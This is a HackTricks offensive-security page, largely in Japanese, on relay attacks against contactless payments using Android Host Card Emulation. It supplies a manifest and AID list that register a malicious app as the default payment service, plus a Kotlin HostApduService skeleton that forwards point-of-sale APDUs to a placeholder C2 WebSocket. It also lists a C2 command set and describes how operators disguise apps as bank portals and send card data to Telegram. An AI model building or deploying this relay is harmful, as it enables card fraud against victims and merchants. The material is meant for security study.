Android HCE NFC/EMV Relay Attacks

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Overview

AndroidのHost Card Emulation (HCE)を悪用すると、既定のNFC決済サービスに設定された悪意あるアプリがEMVのコンタクトレス取引をリアルタイムで中継できます。POS端末は端末とISO 14443-4/EMVでやり取りし、アプリのHostApduServiceがAPDUsを受け取り、双方向のC2(多くはWebSocket)でレスポンスを生成するバックエンドに転送します。バックエンドで作成した応答はPOSに再び中継されます。これによりローカルのカードデータがなくてもライブでカードエミュレーションが可能になります。大規模に観測されたキャンペーンでは、銀行や政府のアプリに偽装し、既定の決済アプリに設定させるよう促し、デバイス/カードデータをTelegramのbotやチャンネルに自動で送信します。

Key traits

  • Android components: HostApduService + default NFC payment handler (category “payment”)
  • Transport/C2: APDU中継にWebSocket; Telegram bot API for exfil/ops
  • Operator workflow: structured commands (login, register_device, apdu_command/apdu_response, get_pin/pin_response, paired, check_status, update_required, telegram_notification, error)
  • Roles: scanner (read EMV data) vs tapper (HCE/relay) builds

Minimal implementation building blocks

Manifest (become default payment HCE service)

<uses-feature android:name="android.hardware.nfc.hce" android:required="true"/>
<uses-permission android:name="android.permission.NFC"/>

<application ...>
<service
android:name=".EmvRelayService"
android:exported="true"
android:permission="android.permission.BIND_NFC_SERVICE">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
</intent-filter>
<meta-data
android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/aid_list"/>
</service>
</application>

EMV 支払いカテゴリを持つ AID の例(デフォルトの支払いアプリに設定されているもののみがこれらの AID に応答できます):

<?xml version="1.0" encoding="utf-8"?>
<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/app_name"
android:requireDeviceUnlock="false">
<aid-group android:category="payment" android:description="@string/app_name">
<!-- PPSE (2PAY.SYS.DDF01) routing -->
<aid-filter android:name="325041592E5359532E4444463031"/>
<!-- Common EMV AIDs (examples): -->
<aid-filter android:name="A0000000031010"/> <!-- VISA credit/debit -->
<aid-filter android:name="A0000000041010"/> <!-- MasterCard -->
<aid-filter android:name="A00000002501"/>   <!-- AmEx -->
</aid-group>
</host-apdu-service>

デフォルトの支払いアプリを設定するようユーザーに促す(OSの設定を開く):

val intent = Intent("android.settings.NFC_PAYMENT_SETTINGS")
startActivity(intent)

HostApduService リレーのスケルトン

class EmvRelayService : HostApduService() {
private var ws: okhttp3.WebSocket? = null

override fun onCreate() {
super.onCreate()
// Establish C2 WebSocket early; authenticate and register device
val client = okhttp3.OkHttpClient()
val req = okhttp3.Request.Builder().url("wss://c2.example/ws").build()
ws = client.newWebSocket(req, object : okhttp3.WebSocketListener() {})
}

override fun processCommandApdu(commandApdu: ByteArray?, extras: Bundle?): ByteArray {
// Marshal APDU to C2 and block until response
val id = System.nanoTime()
val msg = mapOf(
"type" to "apdu_command",
"id" to id,
"data" to commandApdu!!.toHex()
)
val response = sendAndAwait(msg) // wait for matching apdu_response{id}
return response.hexToBytes()
}

override fun onDeactivated(reason: Int) {
ws?.send("{\"type\":\"card_removed\"}")
}

private fun sendAndAwait(m: Any): String {
// Implement correlation + timeout; handle error/blocked status
// ...
return "9000" // fall back to SW success if needed
}
}

補足: バックグラウンドサービスは POS のタイムアウト予算(APDU ごとに数百ミリ秒程度)内で応答する必要があります。低遅延のソケットを維持し、C2 と事前認証を行ってください。必要に応じてフォアグラウンドサービスを使用してプロセス終了後も持続させます。

典型的な C2 コマンドセット(観測)

login / login_response
register / register_device / register_response
logout
apdu_command / apdu_response
card_info / clear_card_info / card_removed
get_pin / pin_response
check_status / status_response
paired / unpaired
update_required
telegram_notification / telegram_response
error

EMV 非接触交換(入門)

POS がフローを主導し、HCE アプリは単に APDU を中継する:

  • SELECT PPSE (2PAY.SYS.DDF01)
  • 00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00
  • SELECT application AID (e.g., VISA A0000000031010)
  • 00 A4 04 00 len 00
  • GET PROCESSING OPTIONS (GPO)
  • 80 A8 00 00 Lc 00
  • READ RECORD(S) per AFL
  • 00 B2 <SFI/record> 0C 00
  • GENERATE AC (ARQC/TC)
  • 80 AE 80 00 Lc 00

リレーでは、バックエンドが有効な FCI/FCP、AFL、レコード、および暗号文を作成し、電話はバイトを転送するだけ。

実際に観測されたオペレーターのワークフロー

  • Deception + install: アプリを銀行/政府のポータルに見せかけ、フルスクリーンの WebView を表示してすぐにデフォルトの NFC 決済アプリに設定するよう要求する。
  • Event-triggered activation: NFC タップで HostApduService が起動し、リレーが開始される。
  • Scanner/Tapper roles: 一方のビルドは被害者のカードから EMV データ(PAN、exp、tracks、device/EMV フィールド)を読み取り、外部へ送信する;別のビルド(または同じデバイスが後で)は POS に対して HCE リレーを実行する。
  • Exfiltration: デバイス/カードのデータがプライベートな Telegram チャンネル/ボットに自動で投稿される;WebSocket がセッションと UI プロンプト(例: デバイス上の PIN UI)を調整する。

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする